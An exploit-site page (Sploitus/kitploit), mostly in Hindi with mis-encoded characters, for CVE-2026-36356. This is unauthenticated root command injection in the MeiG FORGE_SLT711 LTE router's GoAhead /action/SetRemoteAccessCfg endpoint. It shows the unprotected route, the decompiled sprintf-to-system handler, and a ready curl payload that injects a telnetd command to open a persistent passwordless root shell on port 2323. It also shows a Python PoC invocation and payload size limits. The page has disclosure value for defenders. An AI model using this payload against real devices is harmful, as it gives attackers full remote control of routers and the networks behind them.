Sploitus

Exploit for CVE-2026-36356

kitploit ┬╖ 2026-08-26

Exploit Code

MARKDOWN99 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TOTEKUH-CVE-2026-36356
# CVE-2026-36356: MeiG Smart FORGE_SLT711 GoAhead тАФ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд╛рд▓рд╛ OS рдХрдорд╛рдВрдб рдЗрдВрдЬреЗрдХреНрд╢рди (`/action/SetRemoteAccessCfg`)

  * **CVE** : CVE-2026-36356
  * **CWE** : CWE-78, CWE-306
  * **рдЦреЛрдЬрдХрд░реНрддрд╛** : Daniil Gordeev
  * **рдкреНрд░рдХрдЯреАрдХрд░рдг рддрд┐рдерд┐** : 2026-05-03



## рд╕рд╛рд░рд╛рдВрд╢

MeiG Smart FORGE_SLT711 4G LTE CPE рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рдмрдВрдбрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ GoAhead рд╡реЗрдм рд╕рд░реНрд╡рд░ рдПрдХ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд╛рд▓рд╛ HTTP рдПрдВрдбрдкреЙрдЗрдВрдЯ, `/action/SetRemoteAccessCfg`, рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдмрд┐рдирд╛ рд╕реИрдирд┐рдЯрд╛рдЗрдЬрд╝реЗрд╢рди рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдирд┐рдпрдВрддреНрд░рд┐рдд JSON рдЗрдирдкреБрдЯ рдХреЛ рд╢реЗрд▓ рдХрдорд╛рдВрдб рдореЗрдВ рдЗрдВрдЯрд░рдкреЛрд▓реЗрдЯ рдХрд░рддрд╛ рд╣реИред рдПрдХ рдПрдХрд▓ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд╛рд▓рд╛ POST рдЕрдиреБрд░реЛрдз **root** рдХреЗ рд░реВрдк рдореЗрдВ рдордирдорд╛рдиреЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИред

рджреЛ рд╕реНрд╡рддрдВрддреНрд░ рдореВрд▓ рдХрд╛рд░рдг рд╣реИрдВ: рдПрдХ рд▓рд╛рдкрддрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд░реВрдЯ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐, рдФрд░ рд╣реИрдВрдбрд▓рд░ рдореЗрдВ рдПрдХ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд `sprintf()` тЖТ `system()` рдирд┐рд░реНрдорд╛рдгред

## рдкреНрд░рднрд╛рд╡рд┐рдд рдЙрддреНрдкрд╛рдж

  * **рд╡рд┐рдХреНрд░реЗрддрд╛** : MeiG Smart Technology Co., Ltd. (рд╢реЗрдиреНрдЭреЗрди, рдЪреАрди)
  * **рдЙрддреНрдкрд╛рдж** : FORGE_SLT711 4G LTE CPE рд░рд╛рдЙрдЯрд░
  * **рдкреБрд╖реНрдЯрд┐ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдлрд╝рд░реНрдорд╡реЗрдпрд░** : `MDM9607.LE.1.0-00110-STD.PROD-1` (рдореЙрдбреЗрдо рдлрд╝рд░реНрдорд╡реЗрдпрд░ `BC-MGST711H_1.1.1_EQ101`)
  * **рд╡реЗрдм рд╕рд░реНрд╡рд░** : MeiG-рдХрд╕реНрдЯрдо рдПрдХреНрд╢рди рд╣реИрдВрдбрд▓рд░ рд╡рд╛рд▓рд╛ GoAhead 3.x (Embedthis) (`/usr/bin/goahead`)



рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдХреЛрдб MeiG рдХреЗ рдХрд╕реНрдЯрдо рдПрдХреНрд╢рди рд╣реИрдВрдбрд▓рд░ рдореЗрдВ рд╣реИ, рдЕрдкрд╕реНрдЯреНрд░реАрдо GoAhead рдореЗрдВ рдирд╣реАрдВред рдЗрд╕ рдЙрддреНрдкрд╛рдж рд▓рд╛рдЗрди рдХреЗ рдЕрдиреНрдп рдлрд╝рд░реНрдорд╡реЗрдпрд░ рд╕рдВрд╕реНрдХрд░рдг рднреА рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ; рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

## рдкрд░реАрдХреНрд╖рдг рд╡рд╛рддрд╛рд╡рд░рдг

|   
---|---  
рдбрд┐рд╡рд╛рдЗрд╕| Ortel 4G LTE CPE (OEM: MeiG FORGE_SLT711)  
SoC| Qualcomm MDM9607, ARMv7 Cortex-A7  
рдХрд░реНрдиреЗрд▓| Linux 3.18.48  
рдлрд╝рд░реНрдорд╡реЗрдпрд░| MDM9607.LE.1.0-00110-STD.PROD-1  
рддрд┐рдерд┐  
  
## рддрдХрдиреАрдХреА рд╡рд┐рд╡рд░рдг

### рд▓рд╛рдкрддрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг (CWE-306)

GoAhead рд░реВрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди `/var/www/route.txt` рдореЗрдВ `auth=basic` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдорд╛рдгрд┐рдд рд░реВрдЯ (рдкрдВрдХреНрддрд┐рдпрд╛рдБ 64тАУ150) рд╕реВрдЪреАрдмрджреНрдз рд╣реИрдВред `/action/SetRemoteAccessCfg` рдЗрд╕ рд╕реВрдЪреА рдореЗрдВ **рдирд╣реАрдВ** рд╣реИред рд░реВрдЯрд┐рдВрдЧ рдкрдВрдХреНрддрд┐ 156 рдкрд░ рдХреИрдЪ-рдСрд▓ рддрдХ рдкрд╣реБрдБрдЪрддреА рд╣реИ:

root@kitploit:~
    
    
    route uri=/action handler=action
    

рдХреИрдЪ-рдСрд▓ рдХреЗ рдкрд╛рд╕ `auth=basic` рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХреЛрдИ рднреА HTTP рдХреНрд▓рд╛рдЗрдВрдЯ рдмрд┐рдирд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреЗ `/action/SetRemoteAccessCfg` рдХреЛ рдХреЙрд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

### рдХрдорд╛рдВрдб рдЗрдВрдЬреЗрдХреНрд╢рди (CWE-78)

`/usr/bin/goahead` рдореЗрдВ рдСрдлрд╝рд╕реЗрдЯ `0x0003c6d8` рдкрд░ рд╕реНрдерд┐рдд рд╣реИрдВрдбрд▓рд░ рдбреАрдХрдВрдкрд╛рдЗрд▓ рд╣реЛрдХрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рджрд┐рдЦрддрд╛ рд╣реИ:

root@kitploit:~
    
    
    char password_buf[64];      // 0x40 bytes on stack
    char command_buf[256];      // 0x100 bytes on stack
    
    websGetJsonItemValue(json, "password", STRING, password_buf, 0x40);
    sprintf(command_buf, "echo root:\"%s\"|chpasswd", password_buf);
    system(command_buf);
    

`password` рдлрд╝реАрд▓реНрдб рджреЛрд╣рд░реЗ рдЙрджреНрдзрд░рдгреЛрдВ рдХреЗ рдЕрдВрджрд░ рдЗрдВрдЯрд░рдкреЛрд▓реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред `$(...)` рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдФрд░ ``...`` рдмреИрдХрдЯрд┐рдХреНрд╕ рджреЛрд╣рд░реЗ рдЙрджреНрдзрд░рдгреЛрдВ рдХреЗ рдЕрдВрджрд░ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рд╢реЗрд▓ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред `system()` `uid=0` рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ GoAhead рдкреНрд░рдХреНрд░рд┐рдпрд╛ root рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддреА рд╣реИред рдХреЛрдИ рдЗрдирдкреБрдЯ рд╕рддреНрдпрд╛рдкрди рдирд╣реАрдВ, рдХреЛрдИ рдПрд╕реНрдХреЗрдкрд┐рдВрдЧ рдирд╣реАрдВ, рдХреЛрдИ рдХреИрд░реЗрдХреНрдЯрд░ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдирд╣реАрдВред

## рдЕрд╡рдзрд╛рд░рдгрд╛ рдХрд╛ рдкреНрд░рдорд╛рдг

### рд╕реНрдерд╛рдпреА рдЯреЗрд▓рдиреЗрдЯ рдмреИрдХрдбреЛрд░

root@kitploit:~
    
    
    curl -s -X POST http://192.168.1.1/action/SetRemoteAccessCfg \
      -H "Content-Type: application/json" \
      -d '{"password":"$(telnetd -l /bin/sh -p 2323 &)"}'
    # Reachable via: telnet 192.168.1.1 2323 (root shell, no password)
    

![рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд╛рд▓рд╛ RCE тЖТ MeiG FORGE_SLT711 \(Ortel 4G LTE CPE\) рдкрд░ /action/SetRemoteAccessCfg рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ root рд╢реЗрд▓](https://assets.kitploit.com/production/public/readmes/42547/83d6d0b41192fa4c2ab67594e10a1526a9885ec5b772bcfb3c2db5526f55dec2.png)

### рд╕рдВрджрд░реНрдн Python рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ

`poc_rce.py` (рдЗрд╕ рдкрд░рд╛рдорд░реНрд╢ рдХреЗ рд╕рд╛рде рдкреНрд░рдХрд╛рд╢рд┐рдд):

root@kitploit:~
    
    
    python3 poc_rce.py --ip 192.168.1.1 --cmd 'id > /tmp/out'
    

рд╢реЛрд╖рдг рдмреНрд▓рд╛рдЗрдВрдб рд╣реИ тАФ рдХрдорд╛рдВрдб рдЖрдЙрдЯрдкреБрдЯ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдирд╣реАрдВ рд╣реЛрддрд╛ред

### рдкреЗрд▓реЛрдб рд╕реАрдорд╛рдПрдБ

  * `password` рдмрдлрд╝рд░: 64 рдмрд╛рдЗрдЯреНрд╕
  * рдЕрдВрддрд┐рдо рдХрдорд╛рдВрдб рдмрдлрд╝рд░: 256 рдмрд╛рдЗрдЯреНрд╕